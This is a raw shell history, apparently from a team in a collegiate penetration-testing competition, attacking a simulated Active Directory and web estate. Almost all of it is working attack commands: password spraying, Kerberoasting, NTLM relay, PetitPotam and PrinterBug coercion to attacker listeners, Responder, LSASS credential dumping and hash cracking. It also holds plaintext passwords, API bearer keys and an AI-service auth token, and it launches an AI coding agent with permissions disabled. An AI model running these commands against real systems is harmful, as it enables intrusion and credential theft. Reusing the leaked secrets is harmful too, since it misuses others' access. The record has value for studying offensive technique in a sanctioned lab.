_raw: : 1768077990:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores RIGHTS=FullControl --options


_raw: : 1768077975:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores RIGHTS=FullControl


_raw: : 1768077967:0;cat MACHINE/Microsoft/Windows\ NT/SecEdit/GptTmpl.inf


_raw: : 1768077961:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores RIGHTS=GenericAll


_raw: : 1768077945:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores --options


_raw: : 1768077925:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam


_raw: : 1768077916:0;cd MACHINE/Microsoft/Windows\ NT/SecEdit


_raw: : 1768077914:0;curl -k https://bb-a101.rooms.allports.tours/api/emergency/security


_raw: : 1768077903:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "OU=Refreshments,OU=Departments,DC=allports,DC=local" "(objectClass=user)" sAMAccountName mail title


_raw: : 1768077895:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores


_raw: : 1768077893:0;sudo ip link delete ligolo


_raw: : 1768077874:0;claude "ioctl(TUNSETIFF): Device or resource busy"


_raw: : 1768077856:0;sudo ./bloodhound-cli resetpwd


_raw: : 1768077853:183;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768077851:0;claude "ip tuntap add user root mode tun ligoloip link set ligolo upioctl(TUNSETIFF): Device or resource busy why error?"


_raw:
: 1768077846:0;claude "ip tuntap add user root mode tun ligolo\
ip link set ligolo upioctl(TUNSETIFF): Device or resource busy why error?"


_raw: : 1768077835:0;socat file:`tty`,raw,echo=0 tcp-listen:4444


_raw: : 1768077835:0;mv ballast_login_test.py ../ballast.py


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain2024'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'IamtheCaptain'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'Sails@way!2024'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'Sails@way!'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p '@nchor2026'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p '@nchor2025'


_raw: : 1768077835:0;python3 ballast.py -u emails.txt -p 'letmein'


_raw: : 1768077835:0;python3 ballast_login_test.py -u ../emails.txt -p 'letmein'


_raw: : 1768077835:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768077835:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw:
: 1768077835:0;echo "# cptc11-compliance-pod3" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git\
git push -u origin main


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 -u administrator -p 'Sails@way!' --local-auth


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p 'Sails@way!'


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p Sails@way!


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p letmein


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p @nchor2024


_raw: : 1768077835:0;nxc ldap 10.0.1.6 -u 'guest' -p '' --kerberoasting output.txt


_raw: : 1768077835:0;nxc ldap 10.0.1.6 -u harry -p pass --kerberoasting output.txt


_raw: : 1768077835:0;netexec smb 10.0.1.6 --generate-krb5-file ~/krb5.conf


_raw: : 1768077835:0;nxc smb 10.0.1.0/24 --generate-hosts-file ~/hosts-file.txt


_raw: : 1768077835:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768077835:0;git clone https://github.com/p0dalirius/Coercer.git


_raw: : 1768077835:0;python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.6 10.0.254.204


_raw: : 1768077835:0;nxc smb 10.0.1.6 -u 'user.one' -p 'Password1!' -M remove-mic


_raw: : 1768077835:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768077835:0;sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768077835:0;uv run Downloads/printerbug.py


_raw: : 1768077835:0;impacket-rpcdump $TARGET | grep -A 6 "spoolsv"


_raw: : 1768077835:0;rpcdump.py $TARGET | grep -A 6 "spoolsv"


_raw: : 1768077835:0;git clone https://github.com/nationalcptc-teamtools/Stanford-university.git


_raw:
: 1768077835:0;echo 'export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"' >> ~/.bashrc


_raw: : 1768077835:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768077835:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768077827:0;sudo systemctl start docker


_raw:
: 1768077821:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768077803:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(streetAddress=*)" sAMAccountName streetAddress | grep -B1 "streetAddress:"


_raw:
: 1768077781:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768077771:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.local' -dc apt-dc-01.allports.local --zip


_raw:
curl http://10.0.1.13
ping 10.0.1.13
nxc ssh 10.0.1.13 -u 'captain' -p 'captain'
mysql -u captain -h 10.0.1.13 -p
mysqldump -h 10.0.1.13 -u boatgps -p gps_tracker > dump.sql
mysqldump -h 10.0.1.13 -u boatgps -p gps_tracker > dump.sql --skip-ssl
sudo mysqldump -h 10.0.1.13 -u boatgps -p gps_tracker > dump.sql --skip-ssl
ls
cat dump.sql
rm dump.sql
mysql -u boatgps -h 10.0.1.13 -p
mysql -u boatgps -h 10.0.1.13 -p --skip-ssl
curl -fsSL https://claude.ai/install.sh | bash
sudo apt install neovim
nvim .zshrc
source .zshrc
claude
ls
cat password.txt
mkdir Pentest
cd Pentest
nvim CLAUDE.md
nvim navigation.php
nvim db.php
nvim download_csv.php
nvim cors.php
nvim auth.php
claude
nvim previousPrompt
nvim lfi.txt
tmux


_raw: : 1768077757:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' -dc apt-dc-01.allports.tours --zip


_raw: : 1768077752:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' -dc apt-dc-01.allports.tours -ns allports.tours --zip


_raw: : 1768077744:0;sudo apt-get install exiftool


_raw: : 1768077743:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' -dc apt-dc-01.allports.tours -ns 10.0.1.6 -gc 10.0.1.6 --zip


_raw: : 1768077716:0;curl -k http://ai.svc.allports.tours


_raw: : 1768077708:0;curl -k https://ai.svc.allports.tours


_raw: : 1768077701:0;curl -k http://allports.tours


_raw: : 1768077699:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768077693:0;curl -k https://allports.tours


_raw: : 1768077678:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' -dc 10.0.1.6 -ns 10.0.1.6 --zip


_raw: : 1768077665:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' -dc 10.0.1.6 --zip


_raw: : 1768077655:0;bloodhound-python -u 'ai.svc' -p 'juVI6OHJZ24u' -d 'allports.tours' --zip


_raw: : 1768077635:0;cat ballast_users.txt | grep admin


_raw: : 1768077632:0;cat ballast_users.txt | grep engineer


_raw: : 1768077630:0;cat ballast_users.txt | grep captain


_raw: : 1768077606:0;impacket-GetNPUsers -dc-ip 10.0.1.6 'allports.local/ai.svc:juVI6OHJZ24u' -request -format hashcat -outputfile asrep.txt\


_raw: : 1768077531:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768077527:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768077467:0;smbclient -U svc_stabilize //10.0.1.21/SYSVOL


_raw: : 1768077457:0;grep -i "memberOf" ai_svc_full.txt


_raw: : 1768077449:0;smbclient -U svc_stabilize //10.0.1.21/NETLOGON


_raw: : 1768077449:0;grep -i "allow\|delegate\|write\|control\|priv" ai_svc_full.txt


_raw:
: 1768077385:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768077382:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=ai.svc)" "*" "+" | tee ai_svc_full.txt


_raw: : 1768077282:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=computer)" sAMAccountName description operatingSystem | grep -B2 -i "service\|program\|path"


_raw:
: 1768077271:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768077191:0;strings diagnostic | grep '^/'


_raw: : 1768077184:0;strings diagnostic | grep '^/'


_raw:
: 1768077180:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "select": [\
    "*"\
  ],\
  "table": "voyages"\
}'


_raw: : 1768077172:0;strings diagnostic | grep '/'


_raw:
: 1768077166:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "select": [\
    "*"\
  ],\
  "table": "faull_voyage_schedule"\
}'


_raw: : 1768077153:0;strings diagnostic | grep api


_raw: : 1768077136:0;echo $PATH | grep -o "$HOME/.local/bin"


_raw:
: 1768077130:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "select": [\
    "*"\
  ],\
  "table": "full_voyage_schedule"\
}'


_raw:
: 1768077129:0;cat > find_acl_paths.py << 'EOF'\
from ldap3 import Server, Connection\
import sys\
\
server = Server('ldap://10.0.1.6')\
conn = Connection(server, user='allports.local\\SVC_STABILIZE', password='1gyroscope', auto_bind=True)\
\
# Get your SID\
conn.search('DC=allports,DC=local', '(sAMAccountName=SVC_STABILIZE)', attributes=['objectSid'])\
your_sid = conn.entries[0].objectSid.value if conn.entries else None\
\
print(f"[*] Your SID: {your_sid}")\
\
# Search for objects where you might have permissions\
# This looks for objects where Authenticated Users might have write\
conn.search('DC=allports,DC=local', \
            '(objectClass=*)', \
            attributes=['distinguishedName', 'nTSecurityDescriptor'],\
            search_scope='SUBTREE',\
            size_limit=100)\
\
print(f"\n[*] Found {len(conn.entries)} objects to analyze")\
\
for entry in conn.entries[:20]:  # Check first 20\
    dn = entry.distinguishedName.value\
    if 'nTSecurityDescriptor' in entry:\
        sd = str(entry.nTSecurityDescriptor)\
        # Look for Authenticated Users (S-1-5-11) or Everyone (S-1-1-0)\
        if 'S-1-5-11' in sd or 'S-1-1-0' in sd or 'WRITE' in sd:\
            print(f"[!] Potential writable: {dn}")\
\
conn.unbind()\
EOF


_raw: : 1768077125:0;python ballast_bruteforce.py -t 10.0.1.10 -p 9000 -u ballast_users.txt -P ballast_passwords.txt -d 0.5


_raw: : 1768077120:0;python ballast_bruteforce.py -t 10.0.1.10 -p 9000 -u ballast_users.txt -P ballast_passwords.txt -h


_raw:
: 1768077117:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "select": [\
    "*"\
  ],\
  "table": "full_voyage_schedule"\
  }\
}'


_raw:
: 1768077105:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "select": [\
    "*"\
  ],\
  "table": "full_voyage_schedule",\
  }\
}'


_raw:
: 1768077091:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "full_voyage_schedule",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw:
: 1768077079:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "full_voyage_schedule",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw:
: 1768077060:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer tabular_search_static_key_2025' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768077039:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -smb2support &


_raw: : 1768076872:0;sudo ntlmrelayx.py -t http://10.0.1.X/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\


_raw: : 1768076865:0;sudo ntlmrelayx.py -t http://10.0.1.X/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\


_raw: : 1768076841:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -M adcs


_raw: : 1768076827:0;stat /home/pentester/Downloads/WINDOWS\ -\ 10.0.1.6\ DC01.docx


_raw: : 1768076819:0;termshot -scf out.png -- "rusthound-ce -d allports.local -f apt-dc-01.allports.local -i 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -n 10.0.1.6 -z -c All"


_raw: : 1768076816:0;export HISTTIMEFORMAT="%F %T "


_raw: : 1768076780:0;python3 -c "open('DES_full.charset','wb').write(bytes(range(256)))"


_raw:
: 1768076725:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local \\
    -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam


_raw: : 1768076712:0;python ballast_bruteforce.py -t 10.0.1.10 -p 9000 -u ballast_users.txt -P ballast_passwords.txt


_raw:
: 1768076710:0;git clone https://github.com/evilmog/ntlmv1-multi.git\
  cd ntlmv1-multi\


_raw: : 1768076704:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user SVC_STABILIZE -smb2support


_raw: : 1768076652:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user SVC_STABILIZE -smb2support


_raw: : 1768076647:0;python ballast_bruteforce.py -t 10.0.1.10 -p 9000 -u focused_users.txt -P focused_passwords.txt


_raw: : 1768076635:0;npm install -g @anthropic-ai/claude-code


_raw: : 1768076611:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202


_raw: : 1768076604:0;sudo responder -I eth0 -v


_raw: : 1768076568:0;cp lol Incident\ Evidence


_raw: : 1768076565:0;find / -name ".bash_history" 2>/dev/null


_raw: : 1768076563:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202\


_raw: : 1768076529:0;impacket-GetUserSPNs allports.local/SVC_STABILIZE:'1gyroscope' -dc-ip 10.0.1.6 -request


_raw: : 1768076529:0;python3 PetitPotam.py -u svc_stabilize -p '1gyroscope' -d allports.local 10.0.254.202 10.0.1.6


_raw: : 1768076511:0;sudo responder -I eth0 --lm -v


_raw: : 1768076488:0;python ballast_bruteforce.py -t 10.0.1.10 -p 9000 -u /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt  -P /usr/share/wordlists/rockyou.txt


_raw: : 1768076470:0;sudo vim /etc/responder/Responder.conf


_raw: : 1768076451:0;sudo gunzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768076441:0;gunzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768076418:0;find .claude -iname *log*


_raw: : 1768076356:0;journalctl | grep -i claude


_raw: : 1768076334:0;impacket-GetUserSPNs allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -request -outputfile all_remaining_spns.txt


_raw: : 1768076327:0;python3 PetitPotam.py -u svc_stabilize -p '1gyroscope' -d allports.local 10.0.254.202 10.0.1.6


_raw: : 1768076177:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202


_raw: : 1768076170:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202\


_raw: : 1768076160:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202


_raw: : 1768076145:0;sudo responder -I eth0 --lm -v


_raw: : 1768076093:0;cp maritime-pentesting-validator.md ~/.claude/agents


_raw:
: 1768076059:0;nxc smb 10.0.1.20 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope' -d allports.local \\
    -M veeam -M lsassy -M nanodump


_raw:
pipx
sudo apt uninstall netexec
sudo apt install pipx git\
pipx ensurepath\
pipx install git+https://github.com/Pennyw0rth/NetExec
nxc ldap 10.0.1.6
netexec ldap 10.0.1.6
apt
sudo apt uninstall netexec
apt --help
sudo apt remove netexec
nxc ldap 10.0.1.6
rm -f /home/pentester/.nxc/workspaces/default/ldap.db
nxc ldap 10.0.1.6
sudo apt install flameshot
flameshot
flameshot &
nxc ldap 10.0.1.0/24
nxc smb 10.0.1.0/24
rm -f /home/pentester/.nxc/workspaces/default/smb.db
nxc smb 10.0.1.0/24
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p ''  --users
nxc smb 10.0.1.6 -u '' -p ''  -h
nxc smb 10.0.1.6 -u '' -p ''  --pass-pol
nc 10.0.1.10 9000
nmap -sVC 10.0.1.10 -p 9000
cat /etc/hosts
mysql -u admin -p '' -h 10.0.1.99 -P 3306
nc 10.0.1.99	 22
nc 10.0.1.30 22
mysql -u admin -p '' -h 10.0.1.13 -P 3306
curl http://10.0.1.13:8080/?route=../index
echo "eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJxVnFXQ3A4dHJORlJzUXdSMmxWbDRsWGtxbjVyVEZESk11ZFNtd2doNzRzIn0.eyJleHAiOjE3Njc5NzM0MzgsImlhdCI6MTc2Nzk3MzEzOCwiYXV0aF90aW1lIjoxNzY3OTczMTM1LCJqdGkiOiI1ZTZiZGU3YS1hYWFjLTQwNWEtOTViNC1kZGQ1ZjRlNDNjYTYiLCJpc3MiOiJodHRwOi8vMTAuMC4xLjEzOjgxODAvcmVhbG1zL2dwcyIsInN1YiI6IjRjOGMzODllLWM5YzQtNDE3NC05OGJkLTNlNDM2N2RjY2MwMiIsInR5cCI6IkJlYXJlciIsImF6cCI6Imdwcy1hcHAiLCJub25jZSI6ImJiYmZlN2E3LThhNzgtNDk4Yi04YWIyLWFiYzNlYjU1ZWNiMyIsInNlc3Npb25fc3RhdGUiOiIyYWIyOWIxYi03M2IwLTQ4YzMtODQ0My0xYjI2N2NjZDFhYTEiLCJhbGxvd2VkLW9yaWdpbnMiOlsiaHR0cDovLzEwLjAuMS4xMzo4MDgwIiwiaHR0cDovLzEyNy4wLjAuMTo4MDgwIiwiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiaHR0cDovL2dwcy5hbGxwb3J0cy50b3Vyczo4MDgwIl0sInJlYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJjYXB0YWluIiwidXNlciJdfSwic2NvcGUiOiJvcGVuaWQgZW1haWwgcHJvZmlsZSIsInNpZCI6IjJhYjI5YjFiLTczYjAtNDhjMy04NDQzLTFiMjY3Y2NkMWFhMSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJuYW1lIjoiU2hpcCBDYXB0YWluIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiY2FwdGFpbiIsImdpdmVuX25hbWUiOiJTaGlwIiwiZmFtaWx5X25hbWUiOiJDYXB0YWluIiwiZW1haWwiOiJjYXB0YWluQGFsbHBvcnRzLmxvY2FsIn0.tCNi4X_vTmHLRJG7SnpTtTbwEeZX-a5v0dL-eOHlJ8h9PMI3bygcPp-Fvfk7UUAKDSHxcLXdAynCbkuwTei43i-qp8XI-KcL4IcDQsXyAkQUQMsXAYqSElsDtFUrhIOS6cJTsvbVwbpnYpYmS-9spI1Ni3ePCq04lcjEC10zF4viQwcjq7WlD4tXqGaPFUDGZqCELeZF6UI13Oa5o7KKtiKYp7TLvpk5zAE-_QJcMl4NtBxP12f0wPbmauEb2DeNeLNwEHEZEdQhA9bXYZ_rXDdNnW-wEBORZcptwqdANFVD8R1bzPtwJGI8j864t8HMLh0Mr20CGSN1v4LnVCIfiA" | base64 -d
echo "099112116099049049045102105110097108115045049049064099112116099046116101097109124050048050054045048049045048057032049054058053057124098097099049057099102056045051100053049045052051099057045056051099056045101053097055049054056097098049100054" | xxd
echo "eyJjc3JmX3Rva2VuIjoiZmYzYWQwNzIwNDgxYTRhNjZiZDM2ZWNjMmI3Nzc4MzE0NGE4ODdmNyJ9.aWEogw.GKf1YUYhCH5vJxyciZ1QYIFaiCk" | base64 -d
echo ".eJwlzjtuAzEMRdG9qHbBjyhS3sxAokgkMJAAM3ZleO8RkPLd15x3OfKM66vcn-crbuX4XuVelPpooR20D1gBlWdU66HaeEoyZk1dGElY63LlisNRMNVQrCk0oRpCOcWCBuyb2CUjkQgDmSaQIoh68zAGl5DljW2hxcyyIa8rzn9N39OvM4_n7yN-dsjksUAJquGoo7W5uIU7TVU13qZhpqnl8wdRkD4v.aWEu9g.jHhumhUQJA7tp3FoNf-mabhpoBw"| base64 -d
echo "eJwlzjtuAzEMRdG9qHbBjyhS3sxAokgkMJAAM3ZleO8RkPLd15x3OfKM66vcn-crbuX4XuVelPpooR20D1gBlWdU66HaeEoyZk1dGElY63LlisNRMNVQrCk0oRpCOcWCBuyb2CUjkQgDmSaQIoh68zAGl5DljW2hxcyyIa8rzn9N39OvM4_n7yN-dsjksUAJquGoo7W5uIU7TVU13qZhpqnl8wdRkD4v"  | base64 -d
echo "jHhumhUQJA7tp3FoNf-mabhpoBw" | base64 -d
nmap -sV -p 88,135,139,389,445,3389,5985,5986 --script=smb-enum-shares,ldap-search 10.0.1.6
ldapsearch -h 10.0.1.6 -x -b "dc=allports,dc=local" -D "cn=users,dc=allports,dc=local"
mysql -h 10.0.1.13 -u "" --password=""
mysql -h 10.0.1.13 -e "SELECT @@version; SELECT USER();"
curl http://10.0.1.11:3000/api/models
nmap -sV --script=http-enum 10.0.1.13 -p 8080
nmap --script=rdp-enum-encryption 10.0.1.20 -p 3389
ssh-audit 10.0.1.10
nc 10.0.1.10 9000
nxc rdp 10.0.1.0/24
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base 2>&1 | grep -i "result"
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base
openssl s_client -connect 10.0.1.13:3306 -showcerts 2>/dev/null | openssl x509 -text -noout
mysql_ssl_rsa_setup --datadir=/var/lib/mysql
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base
nc 10.0.1.10 9000
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" \\
  "(servicePrincipalName=*)" servicePrincipalName sAMAccountName
GetUserSPNs.py -request -dc-ip 10.0.1.6 allports.local/
impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/
impacket-GetADUsers -request -dc-ip 10.0.1.6 allports.local/
impacket-GetADUsers -dc-ip 10.0.1.6 allports.local/
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" \\
  "(objectClass=computer)" name lastLogonTimestamp
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" \\
  "(objectClass=user)" sAMAccountName | grep sAMAccountName
nano email
ls
cat password.txt
tree .
nc 10.0.1.10 6768
mysql -h 10.0.1.13 -u boatgps --skip-ssl-verify-server-cert -p
nikto -h http://10.0.1.13:8080/
nuclei
nuclei -u http://10.0.1.13:8080/
nxc smb 10.0.1.0/24 -L
nxc smb 10.0.1.0/24 -M smbghost
msfconsole
nxc smb 10.0.1.0/24 -L
nxc smb 10.0.1.0/24 -M printnightmare
nxc ldap 10.0.1.6
nxc ldap 10.0.1.6 -L
nxc ldap 10.0.1.6 -:
nxc ldap 10.0.1.6 -L
nxc ldap 10.0.1.6 -M zerologon
nxc smb 10.0.1.6 -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u 'Guest' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -L
nxc smb 10.0.1.6 -u '' -p '' -M remove-mic
nxc smb 10.0.1.6 -u '' -p '' -M ntlm_reflection
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus
nmap 10.0.1.99
nc 10.0.1.10 9000
echo "hi guys i confused"
nano req
sqlmap -h | grep -i file
sqlmap -r req
sqlmap -r req  -h
sqlmap -r req  -h | grep -i request
sqlmap -r req  -h | grep -i thread
sqlmap -r req  -h
nxc smb 10.0.1.0/24
arp -a
sqlmap -r req  -h
sqlmap -r req
nslookup prod.allports.local
nxc ldap 10.0.1.0/24
nxc ldap 10.0.1.0/24 -L
nxc ldap 10.0.1.0/24 -M dns-nonsecure
nxc ldap 10.0.1.0/24 -M adcs
nikto -h https://dd-b222.rooms.allports.tours/
nuclei -u https://dd-b222.rooms.allports.tours/
nslookup dd-b222.rooms.allports.tours
nmap 10.0.1.99
snmpwalk -h
snmpwalk 10.0.1.99
nmap 10.0.1.99 -p 161 -h
nmap 10.0.1.99 -p 161 -h | grep udp
nmap 10.0.1.99 -p 161 -h | grep -i udp
nmap 10.0.1.99 -p 161 -sU
hashid
hashid $apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/
hashid '$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/'
nano apache.hash
hashcat -m 1600 apache.hash /usr/share/wordlists/rockyou.txt
sudo gunzip /usr/share/wordlists/rockyou.txt.g
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 1600 apache.hash /usr/share/wordlists/rockyou.txt
nano apache.hash
hashcat -m 1600 apache.hash /usr/share/wordlists/rockyou.txt
john apache.hash
john apache.hash --wordlist=/usr/share/wordlists/rockyou.txt
john apache.hash --wordlist=/usr/share/wordlists/rockyou.txt -format=md5crypt-long
scoobert doobert
cat kerbrute
cat kerbrute_scan
cat kerbrute_scan | awk '{print $4}'
cat kerbrute_scan | awk '{print $5}'
cat kerbrute_scan | awk '{print $6}'
cat kerbrute_scan | awk '{print $7}'
cat kerbrute_scan | awk '{print $7}' | awk -F'@' '{print $1}'
cat kerbrute_scan | awk '{print $7}' | awk -F'@' '{print $1}' | wc -l
cat kerbrute_scan | awk '{print $7}' | awk -F'@' '{print $1}' > valid_users.txt
nxc rdp -L
nxc
nxc wmi
nxc wmi 10.0.1.0/24 -u '' -p ''
nxc wmi 10.0.1.0/24 -u '' -p '' -h
nxc wmi 10.0.1.0/24 -u '' -p '' -L
nano ntlm
nxc smb 10.0.1.6 -u 'bob.johnson' -H 0d107d09f5bbe40cade3de5c71e9e9b7
nxc ldap 10.0.1.6 -u 'bob.johnson' -H 0d107d09f5bbe40cade3de5c71e9e9b7
claude
curl -fsSL https://claude.ai/install.sh | bash
claude
cat password.txt
./kerbrute userenum --dc 10.0.1.6 -d 'allports.tours' user
ls
cat users
ls
cat valid_users.txt
./kerbrute userenum --dc 10.0.1.6 -d 'allports.tours' valid_users.txt
./kerbrute userenum --dc 10.0.1.6 -d 'prod.allports.local' valid_users.txt
netexec smb 10.0.1.6 -u '' -p '' --pass-pol
netexec smb 10.0.1.20 -u '' -p '' --pass-pol
netexec smb 10.0.1.21 -u '' -p '' --pass-pol
netexec smb 10.0.1.21 -u 'Guest' -p '' --pass-pol
netexec smb 10.0.1.6 -u 'Guest' -p '' --pass-pol
